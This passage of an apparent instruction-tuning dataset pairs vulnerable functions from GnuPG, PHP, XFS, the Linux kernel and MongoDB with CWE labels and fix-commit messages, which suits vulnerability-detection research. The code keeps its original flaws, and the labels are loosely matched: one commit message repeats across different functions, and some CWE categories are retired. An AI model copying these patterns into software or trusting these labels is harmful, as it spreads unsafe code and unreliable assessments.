buf32_to_u32): New.\n--\n\nCommit 91b826a38880fd8a989318585eb502582636ddd8 was not enough to\navoid all sign extension on shift problems. Hanno B\u00f6ck found a case\nwith an invalid read due to this problem. To fix that once and for\nall almost all uses of \"<< 24\" and \"<< 8\" are changed by this patch to\nuse an inline function from host2net.h.\n\nSigned-off-by: Werner Koch '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: get32 (const byte *buffer)\n{\n ulong a;\n a = *buffer << 24;\n a |= buffer[1] << 16;\n a |= buffer[2] << 8;\n a |= buffer[3];\n return a;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Use inline functions to convert buffer data to scalars.\n\n* common/host2net.h (buf16_to_ulong, buf16_to_uint): New.\n(buf16_to_ushort, buf16_to_u16): New.\n(buf32_to_size_t, buf32_to_ulong, buf32_to_uint, buf32_to_u32): New.\n--\n\nCommit 91b826a38880fd8a989318585eb502582636ddd8 was not enough to\navoid all sign extension on shift problems. Hanno B\u00f6ck found a case\nwith an invalid read due to this problem. To fix that once and for\nall almost all uses of \"<< 24\" and \"<< 8\" are changed by this patch to\nuse an inline function from host2net.h.\n\nSigned-off-by: Werner Koch '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: b64enc_write (struct b64state *state, const void *buffer, size_t nbytes)\n{\n unsigned char radbuf[4];\n int idx, quad_count;\n const unsigned char *p;\n\n if (state->lasterr)\n return state->lasterr;\n\n if (!nbytes)\n {\n if (buffer)\n if (state->stream? es_fflush (state->stream) : fflush (state->fp))\n goto write_error;\n return 0;\n }\n\n if (!(state->flags & B64ENC_DID_HEADER))\n {\n if (state->title)\n {\n if ( my_fputs (\"-----BEGIN \", state) == EOF\n || my_fputs (state->title, state) == EOF\n || my_fputs (\"-----\\n\", state) == EOF)\n goto write_error;\n if ( (state->flags & B64ENC_USE_PGPCRC)\n && my_fputs (\"\\n\", state) == EOF)\n goto write_error;\n }\n\n state->flags |= B64ENC_DID_HEADER;\n }\n\n idx = state->idx;\n quad_count = state->quad_count;\n assert (idx < 4);\n memcpy (radbuf, state->radbuf, idx);\n\n if ( (state->flags & B64ENC_USE_PGPCRC) )\n {\n size_t n;\n u32 crc = state->crc;\n\n for (p=buffer, n=nbytes; n; p++, n-- )\n crc = (crc << 8) ^ crc_table[((crc >> 16)&0xff) ^ *p];\n state->crc = (crc & 0x00ffffff);\n }\n\n for (p=buffer; nbytes; p++, nbytes--)\n {\n radbuf[idx++] = *p;\n if (idx > 2)\n {\n char tmp[4];\n\n tmp[0] = bintoasc[(*radbuf >> 2) & 077];\n tmp[1] = bintoasc[(((*radbuf<<4)&060)|((radbuf[1] >> 4)&017))&077];\n tmp[2] = bintoasc[(((radbuf[1]<<2)&074)|((radbuf[2]>>6)&03))&077];\n tmp[3] = bintoasc[radbuf[2]&077];\n if (state->stream)\n {\n for (idx=0; idx < 4; idx++)\n es_putc (tmp[idx], state->stream);\n idx = 0;\n if (es_ferror (state->stream))\n goto write_error;\n }\n else\n {\n for (idx=0; idx < 4; idx++)\n putc (tmp[idx], state->fp);\n idx = 0;\n if (ferror (state->fp))\n goto write_error;\n }\n if (++quad_count >= (64/4))\n {\n quad_count = 0;\n if (!(state->flags & B64ENC_NO_LINEFEEDS)\n && my_fputs (\"\\n\", state) == EOF)\n goto write_error;\n }\n }\n }\n memcpy (state->radbuf, radbuf, idx);\n state->idx = idx;\n state->quad_count = quad_count;\n return 0;\n\n write_error:\n state->lasterr = gpg_error_from_syserror ();\n if (state->title)\n {\n xfree (state->title);\n state->title = NULL;\n }\n return state->lasterr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Use inline functions to convert buffer data to scalars.\n\n* common/host2net.h (buf16_to_ulong, buf16_to_uint): New.\n(buf16_to_ushort, buf16_to_u16): New.\n(buf32_to_size_t, buf32_to_ulong, buf32_to_uint, buf32_to_u32): New.\n--\n\nCommit 91b826a38880fd8a989318585eb502582636ddd8 was not enough to\navoid all sign extension on shift problems. Hanno B\u00f6ck found a case\nwith an invalid read due to this problem. To fix that once and for\nall almost all uses of \"<< 24\" and \"<< 8\" are changed by this patch to\nuse an inline function from host2net.h.\n\nSigned-off-by: Werner Koch '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: send_fprtime_if_not_null (ctrl_t ctrl, const char *keyword,\n int number, const unsigned char *stamp)\n{\n char numbuf1[50], numbuf2[50];\n unsigned long value;\n\n value = (stamp[0] << 24) | (stamp[1]<<16) | (stamp[2]<<8) | stamp[3];\n if (!value)\n return;\n sprintf (numbuf1, \"%d\", number);\n sprintf (numbuf2, \"%lu\", value);\n send_status_info (ctrl, keyword,\n numbuf1, (size_t)strlen(numbuf1),\n numbuf2, (size_t)strlen(numbuf2), NULL, 0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Use inline functions to convert buffer data to scalars.\n\n* common/host2net.h (buf16_to_ulong, buf16_to_uint): New.\n(buf16_to_ushort, buf16_to_u16): New.\n(buf32_to_size_t, buf32_to_ulong, buf32_to_uint, buf32_to_u32): New.\n--\n\nCommit 91b826a38880fd8a989318585eb502582636ddd8 was not enough to\navoid all sign extension on shift problems. Hanno B\u00f6ck found a case\nwith an invalid read due to this problem. To fix that once and for\nall almost all uses of \"<< 24\" and \"<< 8\" are changed by this patch to\nuse an inline function from host2net.h.\n\nSigned-off-by: Werner Koch '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: convert_le_u32 (const unsigned char *buf)\n{\n return buf[0] | (buf[1] << 8) | (buf[2] << 16) | (buf[3] << 24);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Use inline functions to convert buffer data to scalars.\n\n* common/host2net.h (buf16_to_ulong, buf16_to_uint): New.\n(buf16_to_ushort, buf16_to_u16): New.\n(buf32_to_size_t, buf32_to_ulong, buf32_to_uint, buf32_to_u32): New.\n--\n\nCommit 91b826a38880fd8a989318585eb502582636ddd8 was not enough to\navoid all sign extension on shift problems. Hanno B\u00f6ck found a case\nwith an invalid read due to this problem. To fix that once and for\nall almost all uses of \"<< 24\" and \"<< 8\" are changed by this patch to\nuse an inline function from host2net.h.\n\nSigned-off-by: Werner Koch '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static zval *phar_rename_archive(phar_archive_data *phar, char *ext, zend_bool compress TSRMLS_DC) /* {{{ */\n{\n\tconst char *oldname = NULL;\n\tchar *oldpath = NULL;\n\tchar *basename = NULL, *basepath = NULL;\n\tchar *newname = NULL, *newpath = NULL;\n\tzval *ret, arg1;\n\tzend_class_entry *ce;\n\tchar *error;\n\tconst char *pcr_error;\n\tint ext_len = ext ? strlen(ext) : 0;\n\tint oldname_len;\n\tphar_archive_data **pphar = NULL;\n\tphp_stream_statbuf ssb;\n\n\tif (!ext) {\n\t\tif (phar->is_zip) {\n\n\t\t\tif (phar->is_data) {\n\t\t\t\text = \"zip\";\n\t\t\t} else {\n\t\t\t\text = \"phar.zip\";\n\t\t\t}\n\n\t\t} else if (phar->is_tar) {\n\n\t\t\tswitch (phar->flags) {\n\t\t\t\tcase PHAR_FILE_COMPRESSED_GZ:\n\t\t\t\t\tif (phar->is_data) {\n\t\t\t\t\t\text = \"tar.gz\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\text = \"phar.tar.gz\";\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase PHAR_FILE_COMPRESSED_BZ2:\n\t\t\t\t\tif (phar->is_data) {\n\t\t\t\t\t\text = \"tar.bz2\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\text = \"phar.tar.bz2\";\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tif (phar->is_data) {\n\t\t\t\t\t\text = \"tar\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\text = \"phar.tar\";\n\t\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\n\t\t\tswitch (phar->flags) {\n\t\t\t\tcase PHAR_FILE_COMPRESSED_GZ:\n\t\t\t\t\text = \"phar.gz\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase PHAR_FILE_COMPRESSED_BZ2:\n\t\t\t\t\text = \"phar.bz2\";\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\text = \"phar\";\n\t\t\t}\n\t\t}\n\t} else if (phar_path_check(&ext, &ext_len, &pcr_error) > pcr_is_ok) {\n\n\t\tif (phar->is_data) {\n\t\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"data phar converted from \\\"%s\\\" has invalid extension %s\", phar->fname, ext);\n\t\t} else {\n\t\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"phar converted from \\\"%s\\\" has invalid extension %s\", phar->fname, ext);\n\t\t}\n\t\treturn NULL;\n\t}\n\n\tif (ext[0] == '.') {\n\t\t++ext;\n\t}\n\n\toldpath = estrndup(phar->fname, phar->fname_len);\n\toldname = zend_memrchr(phar->fname, '/', phar->fname_len);\n\t++oldname;\n\toldname_len = strlen(oldname);\n\n\tbasename = estrndup(oldname, oldname_len);\n\tspprintf(&newname, 0, \"%s.%s\", strtok(basename, \".\"), ext);\n\tefree(basename);\n\n\t\n\n\tbasepath = estrndup(oldpath, (strlen(oldpath) - oldname_len));\n\tphar->fname_len = spprintf(&newpath, 0, \"%s%s\", basepath, newname);\n\tphar->fname = newpath;\n\tphar->ext = newpath + phar->fname_len - strlen(ext) - 1;\n\tefree(basepath);\n\tefree(newname);\n\n\tif (PHAR_G(manifest_cached) && SUCCESS == zend_hash_find(&cached_phars, newpath, phar->fname_len, (void **) &pphar)) {\n\t\tefree(oldpath);\n\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"Unable to add newly converted phar \\\"%s\\\" to the list of phars, new phar name is in phar.cache_list\", phar->fname);\n\t\treturn NULL;\n\t}\n\n\tif (SUCCESS == zend_hash_find(&(PHAR_GLOBALS->phar_fname_map), newpath, phar->fname_len, (void **) &pphar)) {\n\t\tif ((*pphar)->fname_len == phar->fname_len && !memcmp((*pphar)->fname, phar->fname, phar->fname_len)) {\n\t\t\tif (!zend_hash_num_elements(&phar->manifest)) {\n\t\t\t\t(*pphar)->is_tar = phar->is_tar;\n\t\t\t\t(*pphar)->is_zip = phar->is_zip;\n\t\t\t\t(*pphar)->is_data = phar->is_data;\n\t\t\t\t(*pphar)->flags = phar->flags;\n\t\t\t\t(*pphar)->fp = phar->fp;\n\t\t\t\tphar->fp = NULL;\n\t\t\t\tphar_destroy_phar_data(phar TSRMLS_CC);\n\t\t\t\tphar = *pphar;\n\t\t\t\tphar->refcount++;\n\t\t\t\tnewpath = oldpath;\n\t\t\t\tgoto its_ok;\n\t\t\t}\n\t\t}\n\n\t\tefree(oldpath);\n\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"Unable to add newly converted phar \\\"%s\\\" to the list of phars, a phar with that name already exists\", phar->fname);\n\t\treturn NULL;\n\t}\nits_ok:\n\tif (SUCCESS == php_stream_stat_path(newpath, &ssb)) {\n\t\tefree(oldpath);\n\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"phar \\\"%s\\\" exists and must be unlinked prior to conversion\", newpath);\n\t\treturn NULL;\n\t}\n\tif (!phar->is_data) {\n\t\tif (SUCCESS != phar_detect_phar_fname_ext(newpath, phar->fname_len, (const char **) &(phar->ext), &(phar->ext_len), 1, 1, 1 TSRMLS_CC)) {\n\t\t\tefree(oldpath);\n\t\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"phar \\\"%s\\\" has invalid extension %s\", phar->fname, ext);\n\t\t\treturn NULL;\n\t\t}\n\n\t\tif (phar->alias) {\n\t\t\tif (phar->is_temporary_alias) {\n\t\t\t\tphar->alias = NULL;\n\t\t\t\tphar->alias_len = 0;\n\t\t\t} else {\n\t\t\t\tphar->alias = estrndup(newpath, strlen(newpath));\n\t\t\t\tphar->alias_len = strlen(newpath);\n\t\t\t\tphar->is_temporary_alias = 1;\n\t\t\t\tzend_hash_update(&(PHAR_GLOBALS->phar_alias_map), newpath, phar->fname_len, (void*)&phar, sizeof(phar_archive_data*), NULL);\n\t\t\t}\n\t\t}\n\n\t} else {\n\n\t\tif (SUCCESS != phar_detect_phar_fname_ext(newpath, phar->fname_len, (const char **) &(phar->ext), &(phar->ext_len), 0, 1, 1 TSRMLS_CC)) {\n\t\t\tefree(oldpath);\n\t\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"data phar \\\"%s\\\" has invalid extension %s\", phar->fname, ext);\n\t\t\treturn NULL;\n\t\t}\n\n\t\tphar->alias = NULL;\n\t\tphar->alias_len = 0;\n\t}\n\n\tif ((!pphar || phar == *pphar) && SUCCESS != zend_hash_update(&(PHAR_GLOBALS->phar_fname_map), newpath, phar->fname_len, (void*)&phar, sizeof(phar_archive_data*), NULL)) {\n\t\tefree(oldpath);\n\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"Unable to add newly converted phar \\\"%s\\\" to the list of phars\", phar->fname);\n\t\treturn NULL;\n\t}\n\n\tphar_flush(phar, 0, 0, 1, &error TSRMLS_CC);\n\n\tif (error) {\n\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"%s\", error);\n\t\tefree(error);\n\t\tefree(oldpath);\n\t\treturn NULL;\n\t}\n\n\tefree(oldpath);\n\n\tif (phar->is_data) {\n\t\tce = phar_ce_data;\n\t} else {\n\t\tce = phar_ce_archive;\n\t}\n\n\tMAKE_STD_ZVAL(ret);\n\n\tif (SUCCESS != object_init_ex(ret, ce)) {\n\t\tzval_dtor(ret);\n\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0 TSRMLS_CC, \"Unable to instantiate phar object when converting archive \\\"%s\\\"\", phar->fname);\n\t\treturn NULL;\n\t}\n\n\tINIT_PZVAL(&arg1);\n\tZVAL_STRINGL(&arg1, phar->fname, phar->fname_len, 0);\n\n\tzend_call_method_with_1_params(&ret, ce, &ce->constructor, \"__construct\", NULL, &arg1);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Fixed bug #68901 (use after free)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xfs_attr_rmtval_get(\n\tstruct xfs_da_args\t*args)\n{\n\tstruct xfs_bmbt_irec\tmap[ATTR_RMTVALUE_MAPSIZE];\n\tstruct xfs_mount\t*mp = args->dp->i_mount;\n\tstruct xfs_buf\t\t*bp;\n\txfs_dablk_t\t\tlblkno = args->rmtblkno;\n\t__uint8_t\t\t*dst = args->value;\n\tint\t\t\tvaluelen = args->valuelen;\n\tint\t\t\tnmap;\n\tint\t\t\terror;\n\tint\t\t\tblkcnt = args->rmtblkcnt;\n\tint\t\t\ti;\n\tint\t\t\toffset = 0;\n\n\ttrace_xfs_attr_rmtval_get(args);\n\n\tASSERT(!(args->flags & ATTR_KERNOVAL));\n\n\twhile (valuelen > 0) {\n\t\tnmap = ATTR_RMTVALUE_MAPSIZE;\n\t\terror = xfs_bmapi_read(args->dp, (xfs_fileoff_t)lblkno,\n\t\t\t\t blkcnt, map, &nmap,\n\t\t\t\t XFS_BMAPI_ATTRFORK);\n\t\tif (error)\n\t\t\treturn error;\n\t\tASSERT(nmap >= 1);\n\n\t\tfor (i = 0; (i < nmap) && (valuelen > 0); i++) {\n\t\t\txfs_daddr_t\tdblkno;\n\t\t\tint\t\tdblkcnt;\n\n\t\t\tASSERT((map[i].br_startblock != DELAYSTARTBLOCK) &&\n\t\t\t (map[i].br_startblock != HOLESTARTBLOCK));\n\t\t\tdblkno = XFS_FSB_TO_DADDR(mp, map[i].br_startblock);\n\t\t\tdblkcnt = XFS_FSB_TO_BB(mp, map[i].br_blockcount);\n\t\t\terror = xfs_trans_read_buf(mp, NULL, mp->m_ddev_targp,\n\t\t\t\t\t\t dblkno, dblkcnt, 0, &bp,\n\t\t\t\t\t\t &xfs_attr3_rmt_buf_ops);\n\t\t\tif (error)\n\t\t\t\treturn error;\n\n\t\t\terror = xfs_attr_rmtval_copyout(mp, bp, args->dp->i_ino,\n\t\t\t\t\t\t\t&offset, &valuelen,\n\t\t\t\t\t\t\t&dst);\n\t\t\txfs_buf_relse(bp);\n\t\t\tif (error)\n\t\t\t\treturn error;\n\n\t\t\t/* roll attribute extent map forwards */\n\t\t\tlblkno += map[i].br_blockcount;\n\t\t\tblkcnt -= map[i].br_blockcount;\n\t\t}\n\t}\n\tASSERT(valuelen == 0);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-241', 'CWE-19'], 'message': 'xfs: remote attribute overwrite causes transaction overrun\n\nCommit e461fcb (\"xfs: remote attribute lookups require the value\nlength\") passes the remote attribute length in the xfs_da_args\nstructure on lookup so that CRC calculations and validity checking\ncan be performed correctly by related code. This, unfortunately has\nthe side effect of changing the args->valuelen parameter in cases\nwhere it shouldn't.\n\nThat is, when we replace a remote attribute, the incoming\nreplacement stores the value and length in args->value and\nargs->valuelen, but then the lookup which finds the existing remote\nattribute overwrites args->valuelen with the length of the remote\nattribute being replaced. Hence when we go to create the new\nattribute, we create it of the size of the existing remote\nattribute, not the size it is supposed to be. When the new attribute\nis much smaller than the old attribute, this results in a\ntransaction overrun and an ASSERT() failure on a debug kernel:\n\nXFS: Assertion failed: tp->t_blk_res_used <= tp->t_blk_res, file: fs/xfs/xfs_trans.c, line: 331\n\nFix this by keeping the remote attribute value length separate to\nthe attribute value length in the xfs_da_args structure. The enables\nus to pass the length of the remote attribute to be removed without\noverwriting the new attribute's length.\n\nAlso, ensure that when we save remote block contexts for a later\nrename we zero the original state variables so that we don't confuse\nthe state of the attribute to be removes with the state of the new\nattribute that we just added. [Spotted by Brain Foster.]\n\nSigned-off-by: Dave Chinner \nReviewed-by: Brian Foster \nSigned-off-by: Dave Chinner '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: decrypt(MPI output, MPI a, MPI b, ELG_secret_key *skey )\n{\n MPI t1 = mpi_alloc_secure( mpi_get_nlimbs( skey->p ) );\n\n mpi_normalize (a);\n mpi_normalize (b);\n\n /* output = b/(a^x) mod p */\n mpi_powm( t1, a, skey->x, skey->p );\n mpi_invm( t1, t1, skey->p );\n mpi_mulm( output, b, t1, skey->p );\n#if 0\n if( DBG_CIPHER ) {\n\tlog_mpidump(\"elg decrypted x= \", skey->x);\n\tlog_mpidump(\"elg decrypted p= \", skey->p);\n\tlog_mpidump(\"elg decrypted a= \", a);\n\tlog_mpidump(\"elg decrypted b= \", b);\n\tlog_mpidump(\"elg decrypted M= \", output);\n }\n#endif\n mpi_free(t1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'Use ciphertext blinding for Elgamal decryption.\n\n* cipher/elgamal.c (USE_BLINDING): New.\n(decrypt): Rewrite to use ciphertext blinding.\n--\n\nCVE-id: CVE-2014-3591\n\nAs a countermeasure to a new side-channel attacks on sliding windows\nexponentiation we blind the ciphertext for Elgamal decryption. This\nis similar to what we are doing with RSA.\n\nUnfortunately, the performance impact of Elgamal blinding is quite\nnoticeable: For a 3072 bit Elgamal key the decryption used to take\n13ms; with the blinding it takes 24ms. This has been measured using\ntime(1), calling gpg with a 100 byte message, and having gpg modified\nto run the pubkey_decrypt function 100 times and finally scale the\nresult (using an i5-2410M CPU @ 2.30GHz TP 220).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void fput(struct file *file)\n{\n\tif (atomic_long_dec_and_test(&file->f_count)) {\n\t\tstruct task_struct *task = current;\n\n\t\tfile_sb_list_del(file);\n\t\tif (likely(!in_interrupt() && !(task->flags & PF_KTHREAD))) {\n\t\t\tinit_task_work(&file->f_u.fu_rcuhead, ____fput);\n\t\t\tif (!task_work_add(task, &file->f_u.fu_rcuhead, true))\n\t\t\t\treturn;\n\t\t\t/*\n\t\t\t * After this task has run exit_task_work(),\n\t\t\t * task_work_add() will fail. Fall through to delayed\n\t\t\t * fput to avoid leaking *file.\n\t\t\t */\n\t\t}\n\n\t\tif (llist_add(&file->f_u.fu_llist, &delayed_fput_list))\n\t\t\tschedule_work(&delayed_fput_work);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-17'], 'message': 'get rid of s_files and files_lock\n\nThe only thing we need it for is alt-sysrq-r (emergency remount r/o)\nand these days we can do just as well without going through the\nlist of files.\n\nSigned-off-by: Al Viro '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Status readUTF8String( StringData* out ) {\n int sz;\n if ( !readNumber( &sz ) )\n return makeError(\"invalid bson\", _idElem);\n\n if ( out ) {\n *out = StringData( _buffer + _position, sz );\n }\n\n if ( !skip( sz - 1 ) )\n return makeError(\"invalid bson\", _idElem);\n\n char c;\n if ( !readNumber( &c ) )\n return makeError(\"invalid bson\", _idElem);\n\n if ( c != 0 )\n return makeError(\"not null terminated string\", _idElem);\n\n return Status::OK();\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'SERVER-17264: improve bson validation for utf-8 strings\n\n(cherry picked from commit 394a8569ff14a215c0691aa34440227b2e62a4de)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline int xsave_state(struct xsave_struct *fx, u64 mask)\n{\n\tu32 lmask = mask;\n\tu32 hmask = mask >> 32;\n\tint err = 0;\n\n\t/*\n\t * If xsaves is enabled, xsaves replaces xsaveopt because\n\t * it supports compact format and supervisor states in addition to\n\t * modified optimization in xsaveopt.\n\t *\n\t * Otherwise, if xsaveopt is enabled, xsaveopt replaces xsave\n\t * because xsaveopt supports modified optimization which is not\n\t * supported by xsave.\n\t *\n\t * If none of xsaves and xsaveopt is enabled, use xsave.\n\t */\n\talternative_input_2(\n\t\t\"1:\"XSAVE,\n\t\t\"1:\"XSAVEOPT,\n\t\tX86_FEATURE_XSAVEOPT,\n\t\t\"1:\"XSAVES,\n\t\tX86_FEATURE_XSAVES,\n\t\t[fx] \"D\" (fx), \"a\" (lmask), \"d\" (hmask) :\n\t\t\"memory\");\n\tasm volatile(\"2:\\n\\t\"\n\t\t xstate_fault\n\t\t : \"0\" (0)\n\t\t : \"memory\");\n\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'x86/fpu/xsaves: Fix improper uses of __ex_table\n\nCommit:\n\n f31a9f7c7169 (\"x86/xsaves: Use xsaves/xrstors to save and restore xsave area\")\n\nintroduced alternative instructions for XSAVES/XRSTORS and commit:\n\n adb9d526e982 (\"x86/xsaves: Add xsaves and xrstors support for booting time\")\n\nadded support for the XSAVES/XRSTORS instructions at boot time.\n\nUnfortunately both failed to properly protect them against faulting:\n\nThe 'xstate_fault' macro will use the closest label named '1'\nbackward and that ends up in the .altinstr_replacement section\nrather than in .text. This means that the kernel will never find\nin the __ex_table the .text address where this instruction might\nfault, leading to serious problems if userspace manages to\ntrigger the fault.\n\nSigned-off-by: Quentin Casasnovas \nSigned-off-by: Jamie Iles \n[ Improved the changelog, fixed some whitespace noise. ]\nAcked-by: Borislav Petkov \nAcked-by: Linus Torvalds \nCc: \nCc: Allan Xavier \nCc: H. Peter Anvin \nCc: Thomas Gleixner \nFixes: adb9d526e982 (\"x86/xsaves: Add xsaves and xrstors support for booting time\")\nFixes: f31a9f7c7169 (\"x86/xsaves: Use xsaves/xrstors to save and restore xsave area\")\nSigned-off-by: Ingo Molnar '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int make_http_soap_request(zval *this_ptr,\n char *buf,\n int buf_size,\n char *location,\n char *soapaction,\n int soap_version,\n char **buffer,\n int *buffer_len TSRMLS_DC)\n{\n\tchar *request;\n\tsmart_str soap_headers = {0};\n\tsmart_str soap_headers_z = {0};\n\tint request_size, err;\n\tphp_url *phpurl = NULL;\n\tphp_stream *stream;\n\tzval **trace, **tmp;\n\tint use_proxy = 0;\n\tint use_ssl;\n\tchar *http_headers, *http_body, *content_type, *http_version, *cookie_itt;\n\tint http_header_size, http_body_size, http_close;\n\tchar *connection;\n\tint http_1_1;\n\tint http_status;\n\tint content_type_xml = 0;\n\tlong redirect_max = 20;\n\tchar *content_encoding;\n\tchar *http_msg = NULL;\n\tzend_bool old_allow_url_fopen;\n\tphp_stream_context *context = NULL;\n\tzend_bool has_authorization = 0;\n\tzend_bool has_proxy_authorization = 0;\n\tzend_bool has_cookies = 0;\n\n\tif (this_ptr == NULL || Z_TYPE_P(this_ptr) != IS_OBJECT) {\n\t\treturn FALSE;\n\t}\n\n request = buf;\n request_size = buf_size;\n\t/* Compress request */\n\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"compression\", sizeof(\"compression\"), (void **)&tmp) == SUCCESS && Z_TYPE_PP(tmp) == IS_LONG) {\n\t\tint level = Z_LVAL_PP(tmp) & 0x0f;\n\t\tint kind = Z_LVAL_PP(tmp) & SOAP_COMPRESSION_DEFLATE;\n\n\t\tif (level > 9) {level = 9;}\n\t\t\n\t if ((Z_LVAL_PP(tmp) & SOAP_COMPRESSION_ACCEPT) != 0) {\n\t\t\tsmart_str_append_const(&soap_headers_z,\"Accept-Encoding: gzip, deflate\\r\\n\");\n\t }\n\t if (level > 0) {\n\t\t\tzval func;\n\t\t\tzval retval;\n \t\t\tzval param1, param2, param3;\n\t\t\tzval *params[3];\n\t\t\tint n;\n\n\t\t\tparams[0] = ¶m1;\n\t\t\tINIT_PZVAL(params[0]);\n\t\t\tparams[1] = ¶m2;\n\t\t\tINIT_PZVAL(params[1]);\n\t\t\tparams[2] = ¶m3;\n\t\t\tINIT_PZVAL(params[2]);\n\t\t\tZVAL_STRINGL(params[0], buf, buf_size, 0);\n\t\t\tZVAL_LONG(params[1], level);\n\t if (kind == SOAP_COMPRESSION_DEFLATE) {\n\t \tn = 2;\n\t\t\t\tZVAL_STRING(&func, \"gzcompress\", 0);\n\t\t\t\tsmart_str_append_const(&soap_headers_z,\"Content-Encoding: deflate\\r\\n\");\n\t } else {\n\t n = 3;\n\t\t\t\tZVAL_STRING(&func, \"gzencode\", 0);\n\t\t\t\tsmart_str_append_const(&soap_headers_z,\"Content-Encoding: gzip\\r\\n\");\n\t\t\t\tZVAL_LONG(params[2], 0x1f);\n\t }\n\t\t\tif (call_user_function(CG(function_table), (zval**)NULL, &func, &retval, n, params TSRMLS_CC) == SUCCESS &&\n\t\t\t Z_TYPE(retval) == IS_STRING) {\n\t\t\t\trequest = Z_STRVAL(retval);\n\t\t\t\trequest_size = Z_STRLEN(retval);\n\t\t\t} else {\n\t\t\t\tif (request != buf) {efree(request);}\n\t\t\t\tsmart_str_free(&soap_headers_z);\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t }\n\t}\n\n\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"httpsocket\", sizeof(\"httpsocket\"), (void **)&tmp) == SUCCESS) {\n\t\tphp_stream_from_zval_no_verify(stream,tmp);\n\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"_use_proxy\", sizeof(\"_use_proxy\"), (void **)&tmp) == SUCCESS && Z_TYPE_PP(tmp) == IS_LONG) {\n\t\t\tuse_proxy = Z_LVAL_PP(tmp);\n\t\t}\n\t} else {\n\t\tstream = NULL;\n\t}\n\n\tif (location != NULL && location[0] != '\\000') {\n\t\tphpurl = php_url_parse(location);\n\t}\n\n\tif (SUCCESS == zend_hash_find(Z_OBJPROP_P(this_ptr),\n\t\t\t\"_stream_context\", sizeof(\"_stream_context\"), 